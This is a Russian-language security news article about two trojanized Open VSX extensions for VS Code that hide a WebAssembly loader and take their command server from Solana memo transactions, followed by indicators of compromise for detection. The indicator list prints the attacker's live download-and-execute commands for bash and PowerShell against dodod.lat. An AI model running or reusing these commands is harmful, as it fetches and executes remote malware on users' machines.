Вредоносные расширения для VS Code используют WebAssembly и блокчейн Solana для скрытого управления

security

Исследователи из Socket’s Threat Research team обнаружили две троянизированные сборки расширений для Visual Studio Code, опубликованные на маркетплейсе Open VSX. Эти пакеты содержат скомпилированный в WebAssembly вредоносный модуль, который после активации расширения устанавливает связь с блокчейном Solana для получения команд управления. Речь идёт о расширениях exargd/vsblack версии 0.0.1 и noellee-doc/flint-debug версии 0.1.1, которые были загружены в реестр 9 и 10 июня 2026 года соответственно. Оба расширения представляют собой точные копии легитимных, давно не обновлявшихся проектов, опубликованных на официальном маркетплейсе VS Code Marketplace. Злоумышленники зарегистрировали учётную запись zaitoona43 на GitHub за три дня до публикации и использовали её для размещения вредоносных версий на площадке Open VSX.

Описание

Механизм заражения построен на социальной инженерии: разработчик, ищущий расширение с определённым названием и версией, видит на Open VSX те же самые идентификаторы издателя, описание, ссылки на репозиторий и даже имя автора, что и на официальном маркете. Единственное отличие - наличие встроенного WebAssembly-файла snqpkebiwrxmoivl.wasm и JavaScript-загрузчика, который автоматически запускает этот модуль при активации расширения. Open VSX является маркетплейсом по умолчанию для таких редакторов, как VSCodium, Gitpod, Cursor и Windsurf, поэтому под удар попали прежде всего пользователи этих сред разработки. Сами оригинальные расширения на VS Code Marketplace остались чистыми - злоумышленники не могли повторно использовать там те же имена издателей, так как они привязаны к верифицированным учётным записям.

Техническая реализация атаки представляет собой многоступенчатую схему, в которой каждый этап маскируется под обычную активность. Вредоносный .wasm-модуль скомпилирован из кода на Go с помощью компилятора TinyGo для платформы js/wasm. Это означает, что модуль предназначен для выполнения в среде JavaScript-хоста (Node.js) и не может самостоятельно выполнять операции ввода-вывода. Все сетевые запросы и запуск процессов делегируются JavaScript-окружению через мост syscall/js. При этом все строковые константы, включая URL-адреса, адреса кошельков и команды оболочки, зашифрованы с использованием алгоритма ChaCha20. Ключ шифрования формируется во время выполнения и не содержится в статическом файле, что делает статический анализ практически бесполезным. В предоставленном отчёте исследователи отмечают, что даже при полном сканировании файла на предмет сетевых индикаторов не было найдено ни одного совпадения.

После дешифровки во время работы модуль начинает опрашивать публичный JSON-RPC-эндпоинт блокчейна Solana api.mainnet.solana.com. Он запрашивает подписи транзакций, направленных на жёстко заданный кошелёк злоумышленника, затем получает сами транзакции и извлекает из них инструкцию SPL Memo, которая содержит зашифрованное сообщение. Формат сообщения - числовой префикс, указывающий длину, за которым следует имя хоста или домен для управления. Такая схема позволяет оператору менять командно-контрольные серверы в любой момент, просто опубликовав новую транзакцию с новым мемо. В ходе анализа было обнаружено, что кошелёк 6ExrZayPZzMMSnszc42cH81DpuKT8FhCX9H6Sesn6rpz действительно содержит несколько мемо-записей, самая ранняя из которых датируется 23 мая 2026 года. Извлечённый из них домен - dodod.lat.

На финальном этапе модуль, используя полученный домен, формирует команды для загрузки и выполнения следующей стадии вредоносного ПО. Команды зависят от операционной системы: на macOS и Linux выполняется

или аналогично для linux, на Windows

Все вызовы выполняются через Node-функцию require('child_process').execSync с флагом windowsHide:true, который скрывает окно терминала. Таким образом, на машине жертвы выполняется скрипт, загруженный с сервера злоумышленника, причём весь процесс остаётся файловым (без записи на диск).

Атрибуция этой кампании приписывается разработчику GlassWorm - известной группе, стоящей за масштабной атакой на цепочки поставок в 2025-2026 годах. Сходство проявляется в использовании Solana-мемо как устойчивого к блокировке канала управления, шифровании строк и применении Open VSX для распространения. Однако данная вариация (названная GlassWASM) использует TinyGo/WebAssembly вместо обфусцированного JavaScript, что делает её значительно сложнее для обнаружения. Новые индикаторы компрометации - домен dodod[.]lat, кошелёк 6ExrZayPZzMMSnszc42cH81DpuKT8FhCX9H6Sesn6rpz и схема URL /<platform>/i/_ - ранее не фигурировали в отчётах по GlassWorm.

На момент публикации анализа сервер dodod.lat не отдавал следующую стадию нагрузки, поэтому конечная цель атаки остаётся неизвестной. Тем не менее, модуль уже способен развернуть любой тип вредоносного ПО - от инфостилера до персистентной нагрузки. Для защиты рекомендуется удалить указанные расширения из всех редакторов, использующих Open VSX, проверить систему на наличие подозрительных процессов Node, порождающих bash или powershell, а также обновить ключи доступа и токены, которые могли быть скомпрометированы. Особое внимание следует уделить обнаружению исходящих вызовов к api.mainnet.solana.com из процессов Node.js, не имеющих легитимной причины для взаимодействия с блокчейном.

Индикаторы компрометации

Affected Packages (Open VSX)

  • vscode/exargd/vsblack@0.0.1
  • vscode/noellee-doc/flint-debug@0.1.1

Threat Actor Accounts

  • github.com/zaitoona43

File Hashes

  • orybbbdsuqmaapel.wasm / snqpkebiwrxmoivl.wasm
    • SHA256: 558b4f1d9a263c13756ab0126c09dd080c85ba405b29488e1c4e6aa68b554f1f
    • SHA1: 8ebac142e34a20c297d3ccaca7ee5d9ddd24fed4
    • MD5: 4e143876eeaf5e767a9971f603b0f13c
  • noellee-doc.flint-debug-0.1.1.vsix
    • SHA256: 3aa31999398e7f80231c03d7137ffdb554a84b83dbcffc59ce16c9a65f9e5d58
    • SHA1: c0ed7d575fe8085e942898c9a26f15992c895ba9
    • MD5: b262b8d2ac2f0ab3c78251db44ecf3ac
  • exargd.vsblack-0.0.1.vsix
    • SHA256: 1e283327ad048bea39f4a8501770858a20f3555e87fe3e202274f2e87f8a3c25
    • SHA1: 824e601b599b9ad97ee12f0b3a72efd20ba59d47
    • MD5: f595fb7867beb76b4deab53fa328e0a2

Network Indicators

  • https://api.mainnet.solana.com
  • dodod.lat
  • https://dodod.lat/darwin/i/_
  • https://dodod.lat/linux/i/_
  • https://dodod.lat/win32/i/_

Blockchain / C2 Indicators (runtime-only)

  • 6ExrZayPZzMMSnszc42cH81DpuKT8FhCX9H6Sesn6rpz
  • dodod.lat
  • MemoSq4gqABAXKb96qnH8TysNcWxMyWCqXgDLGmfcHr
  • Memo1UhkJRfHyvLMcVucJwxXeuD728EqVDDwQDxFM
  • getSignaturesForAddress → getTransaction (jsonParsed)

Command Execution Artifacts (runtime-only)

  • curl -fsSL https://dodod.lat/<platform>/i/_ | bash
  • powershell -Command "irm https://dodod.lat/win32/i/_ | iex"
  • require('child_process') + execSync + windowsHide

Комментарии: 0